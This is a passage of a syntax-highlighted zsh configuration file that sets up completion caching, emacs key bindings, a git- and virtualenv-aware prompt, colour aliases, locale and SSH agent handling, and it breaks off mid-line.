<\/span><span class=\"nv\">$fpath<\/span><span class=\"o\">)<\/span>\n\nautoload<span class=\"w\"> <\/span>-Uz<span class=\"w\"> <\/span>compinit\n<span class=\"c1\"># Performance: only rebuild the completion dump once per day.<\/span>\n<span class=\"c1\"># compinit -C skips the security check and reuses the cached dump.<\/span>\n<span class=\"c1\"># The (#qN.mh+24) glob matches if the file is older than 24 hours.<\/span>\nsetopt<span class=\"w\"> <\/span>extendedglob\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span>~\/.cache\/zcompdump<span class=\"o\">(<\/span><span class=\"c1\">#qN.mh+24) ]]; then<\/span>\n<span class=\"w\">    <\/span>compinit<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>~\/.cache\/zcompdump\n<span class=\"k\">else<\/span>\n<span class=\"w\">    <\/span>compinit<span class=\"w\"> <\/span>-C<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>~\/.cache\/zcompdump\n<span class=\"k\">fi<\/span>\nunsetopt<span class=\"w\"> <\/span>extendedglob<span class=\"w\">          <\/span><span class=\"c1\"># disable \u2014 extendedglob makes ^ and # special<\/span>\n<span class=\"w\">                               <\/span><span class=\"c1\"># in patterns, which breaks things like git log HEAD^<\/span>\n\nzstyle<span class=\"w\"> <\/span><span class=\"s1\">&#39;:completion:*&#39;<\/span><span class=\"w\"> <\/span>menu<span class=\"w\"> <\/span><span class=\"k\">select<\/span><span class=\"w\">                             <\/span><span class=\"c1\"># arrow-key menu<\/span>\nzstyle<span class=\"w\"> <\/span><span class=\"s1\">&#39;:completion:*&#39;<\/span><span class=\"w\"> <\/span>matcher-list<span class=\"w\"> <\/span><span class=\"s1\">&#39;m:{a-zA-Z}={A-Za-z}&#39;<\/span><span class=\"w\">     <\/span><span class=\"c1\"># case-insensitive<\/span>\nzstyle<span class=\"w\"> <\/span><span class=\"s1\">&#39;:completion:*&#39;<\/span><span class=\"w\"> <\/span>completer<span class=\"w\"> <\/span>_expand<span class=\"w\"> <\/span>_complete\nzstyle<span class=\"w\"> <\/span><span class=\"s1\">&#39;:completion:*&#39;<\/span><span class=\"w\"> <\/span>use-compctl<span class=\"w\"> <\/span><span class=\"nb\">false<\/span><span class=\"w\">                       <\/span><span class=\"c1\"># disable legacy system<\/span>\nzstyle<span class=\"w\"> <\/span><span class=\"s1\">&#39;:completion:*&#39;<\/span><span class=\"w\"> <\/span>rehash<span class=\"w\"> <\/span><span class=\"nb\">true<\/span><span class=\"w\">                             <\/span><span class=\"c1\"># pick up new binaries<\/span>\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Key bindings<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Uses emacs mode (ctrl+a = beginning, ctrl+e = end, ctrl+w = delete word, etc.)<\/span>\n<span class=\"c1\"># If you prefer vi mode, change -e to -v \u2014 but many bindings below assume emacs.<\/span>\nbindkey<span class=\"w\"> <\/span>-e\nbindkey<span class=\"w\"> <\/span><span class=\"s1\">&#39; &#39;<\/span><span class=\"w\"> <\/span>magic-space<span class=\"w\">                        <\/span><span class=\"c1\"># expand !! and !$ on space<\/span>\nbindkey<span class=\"w\"> <\/span><span class=\"s1\">&#39;^[[3~&#39;<\/span><span class=\"w\"> <\/span>delete-char<span class=\"w\">                    <\/span><span class=\"c1\"># delete key<\/span>\nbindkey<span class=\"w\"> <\/span><span class=\"s1\">&#39;^[[1;5C&#39;<\/span><span class=\"w\"> <\/span>forward-word<span class=\"w\">                 <\/span><span class=\"c1\"># ctrl + right arrow<\/span>\nbindkey<span class=\"w\"> <\/span><span class=\"s1\">&#39;^[[1;5D&#39;<\/span><span class=\"w\"> <\/span>backward-word<span class=\"w\">                <\/span><span class=\"c1\"># ctrl + left arrow<\/span>\nbindkey<span class=\"w\"> <\/span><span class=\"s1\">&#39;^[[H&#39;<\/span><span class=\"w\"> <\/span>beginning-of-line<span class=\"w\">               <\/span><span class=\"c1\"># home<\/span>\nbindkey<span class=\"w\"> <\/span><span class=\"s1\">&#39;^[[F&#39;<\/span><span class=\"w\"> <\/span>end-of-line<span class=\"w\">                     <\/span><span class=\"c1\"># end<\/span>\n\n\n<span class=\"c1\"># \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<\/span>\n<span class=\"c1\"># \u2502 DISPLAY                                                                    \u2502<\/span>\n<span class=\"c1\"># \u2502 What the shell looks like \u2014 prompt, colors, aliases.                       \u2502<\/span>\n<span class=\"c1\"># \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/span>\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Prompt<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Format: 13:37:42 user@host ~\/path (venv) (branch) $<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\"># - Timestamp: always visible for retroactive pentest logging<\/span>\n<span class=\"c1\"># - user@host: identifies which machine you&#39;re on (important for remote sessions)<\/span>\n<span class=\"c1\"># - Virtualenv: shown in cyan when a Python venv is active<\/span>\n<span class=\"c1\"># - Git branch: yellow = clean, red = dirty (uncommitted changes)<\/span>\n<span class=\"c1\"># - $: green after successful command, red after failure<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\"># Performance notes:<\/span>\n<span class=\"c1\"># - Git info is computed in a precmd hook (not a subshell in the prompt string)<\/span>\n<span class=\"c1\"># - GIT_OPTIONAL_LOCKS=0 prevents lock contention with concurrent git processes<\/span>\n<span class=\"c1\"># - git diff --quiet exits on first difference (faster than git status --porcelain<\/span>\n<span class=\"c1\">#   which scans the entire tree and formats output)<\/span>\n\n<span class=\"nv\">VIRTUAL_ENV_DISABLE_PROMPT<\/span><span class=\"o\">=<\/span><span class=\"m\">1<\/span><span class=\"w\">   <\/span><span class=\"c1\"># we handle virtualenv display ourselves<\/span>\n\n<span class=\"nv\">_prompt_venv<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;&quot;<\/span>\n<span class=\"nv\">_prompt_git<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;&quot;<\/span>\n\n_prompt_precmd<span class=\"o\">()<\/span><span class=\"w\"> <\/span><span class=\"o\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\"># Virtualenv<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$VIRTUAL_ENV<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span><span class=\"nv\">_prompt_venv<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot; %F{cyan}(<\/span><span class=\"k\">$(<\/span>basename<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$VIRTUAL_ENV<\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">)<\/span><span class=\"s2\">)%f&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">else<\/span>\n<span class=\"w\">        <\/span><span class=\"nv\">_prompt_venv<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n\n<span class=\"w\">    <\/span><span class=\"c1\"># Git branch + dirty state<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">local<\/span><span class=\"w\"> <\/span>branch\n<span class=\"w\">    <\/span><span class=\"nv\">branch<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span><span class=\"nv\">GIT_OPTIONAL_LOCKS<\/span><span class=\"o\">=<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>symbolic-ref<span class=\"w\"> <\/span>--short<span class=\"w\"> <\/span>HEAD<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"k\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$branch<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span>!<span class=\"w\"> <\/span><span class=\"nv\">GIT_OPTIONAL_LOCKS<\/span><span class=\"o\">=<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>diff<span class=\"w\"> <\/span>--quiet<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">            <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span>!<span class=\"w\"> <\/span><span class=\"nv\">GIT_OPTIONAL_LOCKS<\/span><span class=\"o\">=<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>diff<span class=\"w\"> <\/span>--cached<span class=\"w\"> <\/span>--quiet<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">            <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span><span class=\"nv\">GIT_OPTIONAL_LOCKS<\/span><span class=\"o\">=<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>ls-files<span class=\"w\"> <\/span>--others<span class=\"w\"> <\/span>--exclude-standard<span class=\"w\"> <\/span>--<span class=\"w\"> <\/span><span class=\"s1\">&#39;:\/*&#39;<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>head<span class=\"w\"> <\/span>-1<span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">            <\/span><span class=\"nv\">_prompt_git<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot; %F{red}(<\/span><span class=\"si\">${<\/span><span class=\"nv\">branch<\/span><span class=\"si\">}<\/span><span class=\"s2\">)%f&quot;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">else<\/span>\n<span class=\"w\">            <\/span><span class=\"nv\">_prompt_git<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot; %F{yellow}(<\/span><span class=\"si\">${<\/span><span class=\"nv\">branch<\/span><span class=\"si\">}<\/span><span class=\"s2\">)%f&quot;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">fi<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">else<\/span>\n<span class=\"w\">        <\/span><span class=\"nv\">_prompt_git<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n<span class=\"o\">}<\/span>\n\nautoload<span class=\"w\"> <\/span>-Uz<span class=\"w\"> <\/span>add-zsh-hook\nadd-zsh-hook<span class=\"w\"> <\/span>precmd<span class=\"w\"> <\/span>_prompt_precmd\n\n<span class=\"nv\">PROMPT<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;%F{245}%*%f %F{blue}%n@%m%f %F{green}%~%f${_prompt_venv}${_prompt_git} %(?.%F{green}.%F{red})$%f &#39;<\/span>\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Colors and aliases<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Detect GNU vs BSD ls for correct color flag<\/span>\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span>ls<span class=\"w\"> <\/span>--color<span class=\"o\">=<\/span>auto<span class=\"w\"> <\/span>\/<span class=\"w\"> <\/span><span class=\"p\">&amp;<\/span>&gt;\/dev\/null<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">alias<\/span><span class=\"w\"> <\/span><span class=\"nv\">ls<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;ls --color=auto&#39;<\/span><span class=\"w\">             <\/span><span class=\"c1\"># GNU ls (Linux)<\/span>\n<span class=\"k\">else<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">alias<\/span><span class=\"w\"> <\/span><span class=\"nv\">ls<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;ls -G&#39;<\/span><span class=\"w\">                       <\/span><span class=\"c1\"># BSD ls (macOS)<\/span>\n<span class=\"k\">fi<\/span>\n\n<span class=\"nb\">alias<\/span><span class=\"w\"> <\/span><span class=\"nv\">ll<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;ls -lh&#39;<\/span>\n<span class=\"nb\">alias<\/span><span class=\"w\"> <\/span><span class=\"nv\">la<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;ls -lAh&#39;<\/span>\n<span class=\"nb\">alias<\/span><span class=\"w\"> <\/span><span class=\"nv\">grep<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;grep --color=auto&#39;<\/span>\n\n<span class=\"c1\"># Colored man pages via less escape codes<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LESS_TERMCAP_mb<\/span><span class=\"o\">=<\/span><span class=\"s1\">$&#39;\\E[1;31m&#39;<\/span><span class=\"w\">         <\/span><span class=\"c1\"># begin blink<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LESS_TERMCAP_md<\/span><span class=\"o\">=<\/span><span class=\"s1\">$&#39;\\E[1;36m&#39;<\/span><span class=\"w\">         <\/span><span class=\"c1\"># begin bold<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LESS_TERMCAP_me<\/span><span class=\"o\">=<\/span><span class=\"s1\">$&#39;\\E[0m&#39;<\/span><span class=\"w\">            <\/span><span class=\"c1\"># end mode<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LESS_TERMCAP_so<\/span><span class=\"o\">=<\/span><span class=\"s1\">$&#39;\\E[01;33m&#39;<\/span><span class=\"w\">        <\/span><span class=\"c1\"># begin standout (search highlight)<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LESS_TERMCAP_se<\/span><span class=\"o\">=<\/span><span class=\"s1\">$&#39;\\E[0m&#39;<\/span><span class=\"w\">            <\/span><span class=\"c1\"># end standout<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LESS_TERMCAP_us<\/span><span class=\"o\">=<\/span><span class=\"s1\">$&#39;\\E[1;32m&#39;<\/span><span class=\"w\">         <\/span><span class=\"c1\"># begin underline<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LESS_TERMCAP_ue<\/span><span class=\"o\">=<\/span><span class=\"s1\">$&#39;\\E[0m&#39;<\/span><span class=\"w\">            <\/span><span class=\"c1\"># end underline<\/span>\n\n<span class=\"c1\"># Use LS_COLORS for completion menu coloring (Linux only \u2014 macOS uses LSCOLORS)<\/span>\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nb\">command<\/span><span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span>dircolors<span class=\"w\"> <\/span><span class=\"p\">&amp;<\/span>&gt;\/dev\/null<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">eval<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span>dircolors<span class=\"w\"> <\/span>-b<span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">    <\/span>zstyle<span class=\"w\"> <\/span><span class=\"s1\">&#39;:completion:*&#39;<\/span><span class=\"w\"> <\/span>list-colors<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"si\">${<\/span><span class=\"p\">(s.:.)LS_COLORS<\/span><span class=\"si\">}<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"k\">fi<\/span>\n\n\n<span class=\"c1\"># \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<\/span>\n<span class=\"c1\"># \u2502 ENVIRONMENT                                                                \u2502<\/span>\n<span class=\"c1\"># \u2502 Editor, locale, and other exported variables used by external programs.    \u2502<\/span>\n<span class=\"c1\"># \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/span>\n\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">EDITOR<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;vim&#39;<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LANG<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;en_US.UTF-8&#39;<\/span>\n\n<span class=\"c1\"># Only force LC_ALL if the locale exists. On minimal VPS images where the<\/span>\n<span class=\"c1\"># locale hasn&#39;t been generated, setting LC_ALL causes warnings from many tools.<\/span>\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span>locale<span class=\"w\"> <\/span>-a<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>-qi<span class=\"w\"> <\/span><span class=\"s1\">&#39;en_US.utf-*8&#39;<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">LC_ALL<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;en_US.UTF-8&#39;<\/span>\n<span class=\"k\">fi<\/span>\n\n<span class=\"c1\"># Fix GPG signing in Git (gpg needs to know the current tty)<\/span>\n<span class=\"nb\">export<\/span><span class=\"w\"> <\/span><span class=\"nv\">GPG_TTY<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span>tty<span class=\"k\">)<\/span>\n\n\n<span class=\"c1\"># \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<\/span>\n<span class=\"c1\"># \u2502 TOOL INTEGRATION                                                           \u2502<\/span>\n<span class=\"c1\"># \u2502 SSH agent, version managers, PATH. All conditional \u2014 nothing breaks if     \u2502<\/span>\n<span class=\"c1\"># \u2502 the tool isn&#39;t installed.                                                  \u2502<\/span>\n<span class=\"c1\"># \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/span>\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># SSH agent<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Goal: type your SSH key passphrase once per session, not on every git\/ssh op.<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\"># macOS:   system agent handles it \u2014 just load saved passphrases from keychain.<\/span>\n<span class=\"c1\"># Linux:   keychain (if installed) persists agent across logins and terminals.<\/span>\n<span class=\"c1\"># Fallback: manual ssh-agent with env file for cross-terminal persistence.<\/span>\n<span class=\"c1\">#           Keys expire after 1 hour for security on shared\/remote hosts.<\/span>\n\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span>uname<span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;Darwin&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span>ssh-add<span class=\"w\"> <\/span>--apple-load-keychain<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null\n<span class=\"k\">elif<\/span><span class=\"w\"> <\/span><span class=\"nb\">command<\/span><span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span>keychain<span class=\"w\"> <\/span><span class=\"p\">&amp;<\/span>&gt;\/dev\/null<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span><span class=\"nv\">_ssh_keys<\/span><span class=\"o\">=()<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>_f<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>~\/.ssh\/id_*<span class=\"o\">(<\/span>N<span class=\"o\">)<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_f<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span>*.pub<span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"k\">continue<\/span>\n<span class=\"w\">        <\/span><span class=\"nv\">_ssh_keys<\/span><span class=\"o\">+=(<\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_f<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">done<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">((<\/span><span class=\"w\"> <\/span><span class=\"si\">${#<\/span><span class=\"nv\">_ssh_keys<\/span><span class=\"si\">}<\/span><span class=\"w\"> <\/span><span class=\"o\">))<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span><span class=\"nb\">eval<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span>keychain<span class=\"w\"> <\/span>--eval<span class=\"w\"> <\/span>--quiet<span class=\"w\"> <\/span>--nogui<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"si\">${<\/span><span class=\"nv\">_ssh_keys<\/span><span class=\"p\">[@]<\/span><span class=\"si\">}<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">unset<\/span><span class=\"w\"> <\/span>_ssh_keys<span class=\"w\"> <\/span>_f\n<span class=\"k\">else<\/span>\n<span class=\"w\">    <\/span><span class=\"nv\">_ssh_agent_env<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$HOME<\/span><span class=\"s2\">\/.ssh\/agent-env&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-f<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span>.<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>&gt;\/dev\/null\n<span class=\"w\">        <\/span><span class=\"nb\">kill<\/span><span class=\"w\"> <\/span>-0<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$SSH_AGENT_PID<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span><span class=\"nb\">unset<\/span><span class=\"w\"> <\/span>SSH_AGENT_PID\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-z<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$SSH_AGENT_PID<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span><span class=\"nb\">eval<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span>ssh-agent<span class=\"w\"> <\/span>-s<span class=\"w\"> <\/span>-t<span class=\"w\"> <\/span><span class=\"m\">3600<\/span><span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>&gt;\/dev\/null\n<span class=\"w\">        <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;export SSH_AUTH_SOCK=<\/span><span class=\"nv\">$SSH_AUTH_SOCK<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">        <\/span><span 